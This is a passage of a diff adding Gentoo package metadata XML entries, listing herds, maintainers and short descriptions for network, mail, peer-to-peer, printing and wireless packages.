+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/serialmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/signify">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/smtpclient">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/spamass-milter">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/spruce">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/squirrelmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ssmtp">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/sylpheed-claws">
+<herd>net-mail</herd>
+<maintainer>
+	<email>genone@gentoo.org</email>
+</maintainer>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+</maintainer>
+<maintainer>
+	<email>bcowan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/sylpheed">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/teapop">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/tmda">
+<herd>net-mail</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/tnef">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/tpop3d">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/up-imapproxy">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/uw-imap">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vacation">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vimap">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vlnx">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vm-pop3d">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vmailmgr">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/vpopmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/xfmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ximian-connector">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/xmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/yosucker">
+	<herd>net-mail</herd>
+	<maintainer>
+		<email>
+			abhishek@gentoo.org
+		</email>
+		<name>
+			Abhishek Amit
+		</name>
+	</maintainer>
+	<longdescription>
+		YoSucker allows you to download Yahoo mail to a local file or pipe it to procmail. It suppourts multiple accounts, encrypted passwords, transaction safe writes, and more.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/aggregate-flim">
+<herd>no-herd</herd>
+<maintainer>
+    <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>aggregate is a tool for aggregating CIDR networks. Input is read from stdin and output is written to stdout. It undestands IPv4 networks represented as network/prefix, network/netmask and start_address - end_addres. It is able to read input in any one of these formats and output in the same or a different format.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/aggregate">
+<herd>no-herd</herd>
+<maintainer>
+    <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>aggregate is a tool for aggregating CIDR networks. Input is read from stdin and output is written to stdout. It undestands IPv4 networks represented as network/prefix, network/netmask and start_address - end_addres. It is able to read input in any one of these formats and output in the same or a different format.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/bk2site">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/bo2k_console">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+</maintainer>
+ <longdescription>Command-line client based on LibBO2K.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/bo2k_plugins">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+</maintainer>
+ <longdescription>Plugin pack for LibBO2K.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/capi4hylafax">
+<herd>comm-fax</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Fax package for ISDN cards with CAPI capabilities.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/cfengine">
+<herd>no-herd</herd>
+<maintainer>
+ <email>klieber@gentoo.org</email>
+</maintainer>
+<longdescription>
+Cfengine, or the configuration engine is an autonomous agent and a middle to high level policy language for building expert systems which administrate and configure large computer networks. Cfengine uses the idea of classes and a primitive intelligence to define and automate the configuration and maintenance of system state, for small to huge configurations. Cfengine is designed to be a part of a computer immune system, and can be thought of as a gaming agent. It is ideal for cluster management and has been adopted for use all over the world in small and huge organizations alike.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/cipe">
+<herd>no-herd</herd>
+<maintainer>
+    <email>pfeifer@gentoo.org</email>
+    <name>Jay Pfeifer</name>
+</maintainer>
+<longdescription>
+Cryptographic IP tunneling daemon/module
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/cisco-aironet-client-utils">
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+This is the client configuration utility for the Cisco Aironet series of cards.  It allows you to use functionality of the card which is not available elsewhere.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/cisco-vpnclient-3des">
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+This is the Cisco VPN Client, which is used to connect to Cisco VPN hardware, such as a VPN Concentrator, VPN Accelerator, or a PIX Firewall.  This client is bound by export restrictions.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/d4x">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/dcetest">
+<herd>no-herd</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>This little utility dumps MSRPC endpoint information from
+    Windows systems. Similar to the rpcdump program from Microsoft, but does
+    not need a DCE stack and so runs on Unixes. dcetest can be very useful once
+    inside a DMZ to fingerprint Windows machines on the network. dcetest
+    operates over TCP port 135. (Think of it as rpcinfo -p against
+    Windows.)</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/dhcp">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/drivel">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/emphetamine">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/getdate">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gnome-blog">
+<herd>gnome</herd>
+<maintainer><email>leonardop@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gnugk">
+<herd>voip</herd>
+<maintainer>
+  <email>stkn@gentoo.org</email>
+  <name>Stefan Knoblich</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gofish">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gsmlib">
+<herd>pda</herd>
+<maintainer>
+	<email>liquidx@gentoo.org</email>
+	<description>Currently in PDA herd as there is no mobile phone herd</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gtk2-ssh-askpass">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gtkesms">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/gwget2">
+<herd>gnome</herd>
+<maintainer>
+  <email>gnome@gentoo.org</email>
+</maintainer>
+<longdescription>Gwget2 is a gtk2 front-end for the wget program. Wget is commonly used for retrieving files from the internet, and with an easy to use gtk2 interface, gwget2 brings the utility of wget to the GNOME desktop. Gwget2 supports drag and drop from most gtk2 compatible browsers, as well as the ability to pause and continue downloads over sessions.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/howl">
+ <herd>net-misc</herd>
+ <maintainer>
+  <email>sandymac@gentoo.org</email>
+  <name>William A McArthur, Jr.</name>
+  <description>Just the guy who made the Gentoo package.</description>
+ </maintainer>
+ <longdescription>
+  Howl is a cross-platform implementation of the Zeroconf networking standard.
+  Zeroconf standardizes networking protocols for delivering hassle-free ad-hoc
+  networking, service discovery, and IP configuration.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/hsc">
+<herd>ml</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/htbinit">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+HTB.init is a shell script derived from CBQ.init that allows for easy setup of HTB-based traffic control on Linux. HTB (Hierachical Token Bucket) is a new queueing discipline which attempts to address the weaknesses of current CBQ implementation.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/hylafax">
+<herd>comm-fax</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>HylaFAX(tm) client-server fax system with email gateway, paging, and multi-platform client support.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/icecast">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/jigdo">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+Jigsaw Download, or short jigdo, is a tool designed to ease the distribution of very large files over the internet, for example CD or DVD images. Its aim is to make downloading the images as easy for users as a click on a direct download link in a browser, while avoiding all the problems that server administrators have with hosting such large files.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/jumpgate">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/kcmpureftpd">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/ksambaplugin">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/ksms">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/logjam">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/ndtpd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/neon">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pauldv@gentoo.org</email>
+<description>It is needed for subversion so I'll update it once in a while. You're welcome to take it over</description>
+</maintainer>
+<longdescription>neon is an HTTP and WebDAV client library for Unix
+systems, with a C language API. It provides high-level interfaces to
+HTTP/1.1 and WebDAV methods, and a low-level interface to HTTP
+request/response handling, allowing new methods to be easily
+implemented.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/netcomics-cvs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pYrania@gentoo.org</email>
+  <name>Markus Nigbur</name>
+</maintainer>
+<longdescription>
+	Netcomics is a program that downloads today's comic strips
+	from the Web, and places them in a local directory where they can be
+	retrieved for display. Because each website that carries comic strips
+	chooses how old of strips to show, the comic strips downloaded will
+	actually be from different dates, but they'll always be the latest.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/netprofiles-ims">
+<herd>no-herd</herd>
+<maintainer>
+  <email>buckminst@inconnu.isu.edu</email>
+  <name>Curtis Hogg</name>
+</maintainer>
+<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/ntp">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+NTP is a protocol designed to synchronize the clocks of computers over a network. NTP 
+version 3 is an internet draft standard, formalized in RFC 1305. NTP version 4 is a 
+significant revision of the NTP standard, and is the current development version, but 
+has not been formalized in an RFC. Simple NTP (SNTP) version 4 is described in RFC 
+2030.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nut">
+<herd>no-herd</herd>
+<maintainer><email>robbat2@gentoo.org</email></maintainer>
+<maintainer><email>prez@gentoo.org</email></maintainer>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxclient">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>NXClient is a X11/VNC/NXServer client especially tuned for using remote desktops over low-bandwidth links such as the Internet</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxcomp">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>X11 protocol compression library</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxproxy">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>X11 protocol compression library wrapper</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxserver-business">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>NXServer is an X11/VNC/NXServer proxy server especially tuned for using remote desktops over low-bandwidth links such as the Internet, WANS, and wireless</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxserver-enterprise">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>NXServer is an X11/VNC/NXServer proxy server especially tuned for using remote desktops over low-bandwidth links such as the Internet, WANS, and wireless</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxserver-personal">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>NXServer is an X11/VNC/NXServer proxy server especially tuned for using remote desktops over low-bandwidth links such as the Internet, WANS, and wireless</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/nxssh">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+<longdescription>Modified openssh client, used by nxclient</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/oidentd">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/openssh">
+<herd>no-herd</herd>
+<maintainer>
+ <email>aliz@gentoo.org</email>
+</maintainer>
+<maintainer>
+ <email>hardened@gentoo.org</email>
+</maintainer>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+</maintainer>
+<longdescription>
+OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools that 
+increasing numbers of people on the Internet are coming to rely on. Many users of telnet, 
+rlogin, ftp, and other such programs might not realize that their password is transmitted 
+across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) 
+to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks. 
+Additionally, OpenSSH provides a myriad of secure tunneling capabilities, as well as a variety 
+of authentication methods.
+
+The OpenSSH suite includes the ssh program which replaces rlogin and telnet, scp which 
+replaces rcp, and sftp which replaces ftp. Also included is sshd which is the server side of 
+the package, and the other basic utilities like ssh-add, ssh-agent, ssh-keysign, ssh-keyscan, 
+ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/openvpn">
+<herd>secure-tunneling</herd>
+<maintainer>
+  <email>warpzero@gentoo.org</email>
+  <name>Joshua Charles Campbell</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<longdescription>OpenVPN is an easy-to-use, robust and highly 
+configurable VPN daemon which can be used to securely link two or more 
+networks using an encrypted tunnel.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/powerd">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Package to notify networked computers of power failure as read from an UPS.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/putty">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+This is the Unix port of the popular Windows ssh client, PuTTY. It supports flexible terminal setup, mid-session reconfiguration using Ctrl-rightclick, multiple X11 authentication protocols, and various other interesting things not provided by ssh in an xterm.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/pxes">
+<herd>noherd</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+PXES is a mini-distribution designed to build thin clients.  It consists of precompiled binaries (the distribution part) and a gtk+ front-end used for configuring your images.  PXES can be used to create PXE-bootable images, etherboot images, or bootable ISO images for thin clients.  This version support RDP, Citrix, LTSP, XDMCP, and local sessions.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/rdesktop">
+<herd>noherd</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+rdesktop is an open source client for Windows NT Terminal Server and Windows 2000/2003 Terminal Services, capable of natively speaking Remote Desktop Protocol (RDP) in order to present the user's NT desktop. Unlike Citrix ICA, no server extensions are required.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/redir">
+<herd>no-herd</herd>
+<maintainer>
+    <email>hhg@gentoo.org</email>
+    <name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+Redir is a port redirector.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/secpanel">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+SecPanel serves as a graphical user interface for managing and running SSH (Secure Shell) and SCP (Secure Copy) connections.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/sipsak">
+<herd>voip</herd>
+<maintainer>
+  <email>stkn@gentoo.org</email>
+  <name>Stefan Knoblich</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/smb4k">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/snarf">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+snarf is a command line resource grabber. It can transfer files through the http, gopher, finger, and ftp protocols without user interaction. It is small and fast.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/taylor-uucp">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/tightvnc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/tinc">
+<herd>secure-tunneling</herd>
+<maintainer>
+  <email>warpzero@gentoo.org</email>
+  <name>Joshua Charles Campbell</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<longdescription>tinc is an easy to configure VPN implementation.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/tsclient">
+<herd>gnome</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+TSclient is a GTK2+ frontend for rdesktop.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/vconfig">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>The vconfig program allows you to create and remove vlan-devices on a vlan enabled kernel. Vlan-devices are virtual ethernet devices which represents the virtual lans on the physical lan.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/vtun">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/wget">
+<herd>net-misc</herd>
+<maintainer>
+	<email>gregf@gentoo.org</email>
+	<name>Greg Fitzgerald</name>
+</maintainer>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+	<name>Seemant Kulleen</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-misc/zebra">
+	<herd>no-herd</herd>
+	<maintainer>
+		<email>amir@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Secondary Maintainer</description>
+	</maintainer>
+	<longdescription>Zebra is a routing software package that provides TCP/IP based routing services with routing protocols support such as RIPv1, RIPv2, RIPng, OSPFv2, OSPFv3, BGP-4, and BGP-4+ (*note Supported RFC::). Zebra also supports special BGP Route Reflector and Route Server behavior.  In addition to traditional IPv4 routing protocols, Zebra also supports IPv6 routing protocols. With SNMP daemon which supports SMUX protocol, Zebra provides routing protocol MIBs (*note SNMP Support::).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-nds/openldap">
+    <herd>no-herd</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+    </maintainer>
+    <maintainer>
+        <email>raker@gentoo.org</email>
+        <name>Nick Hadaway</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-nds/phpldapadmin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<longdescription>phpLDAPadmin is a web-based tool for managing all aspects of your LDAP server.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-news/leafnode">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>blkdeath@gentoo.org</email>
+    <name>Stewart Honsberger</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-news/nget">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-news/pan">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/amule">
+<herd>net-p2p</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/apollon">
+<herd>kde-other</herd>
+<longdescription>KDE frontend for giFT P2P network.</longdescription>
+<maintainer>
+<email>svyatogor@gentoo.org</email>
+<name>Sergey Kuleshov</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/bittorrent-stats">
+<herd>python</herd>
+<maintainer>
+  <email>luke-jr@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/bittorrent">
+<herd>python</herd>
+<maintainer>
+  <email>luke-jr@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/dcgui-qt">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/dclib">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/kmldonkey">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/mldonkey">
+<herd>ml</herd>
+<maintainer>
+  <email>JulianHoch@web.de</email>
+  <name>Julian Hoch</name>
+  <description>caleb@gentoo.org passed the buck to Julian</description>
+</maintainer>
+<longdescription>An ocaml client to access the eDonkey network.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/nicotine">
+<herd>no-herd</herd>
+<maintainer>
+<email>tseng@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/pysoulseek">
+<herd>python</herd>
+<herd>wxwindows</herd>
+<maintainer><email>tester@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/xmule">
+<herd>net-p2p</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-p2p/zuul">
+<herd>web-apps</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+  <description>Zuul Developer</description>
+</maintainer>
+<longdescription>Zuul is yet another PHP front-end for mldonkey. It allows full access to many of the features of mldonkey including starting/viewing downloads, viewing uploads, viewing servers, and setting all the options.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/apsfilter">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/cups-pdf">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/cups">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/fax4cups">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/foomatic-db-engine">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/foomatic-db">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/foomatic-filters">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/foomatic">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/gnome-cups-manager">
+<herd>gnome</herd>
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/gqueue">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/gtklp">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/hpijs">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/hpoj">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/ink">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/libgnomecups">
+<herd>gnome</herd>
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/libinklevel">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/lprng">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/magicfilter">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/mtink">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/omni">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/pdq">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/pnm2ppa">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/xpp">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-print/xprint">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/airsnort">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/ap-utils">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-bluefw">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-hcidump">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
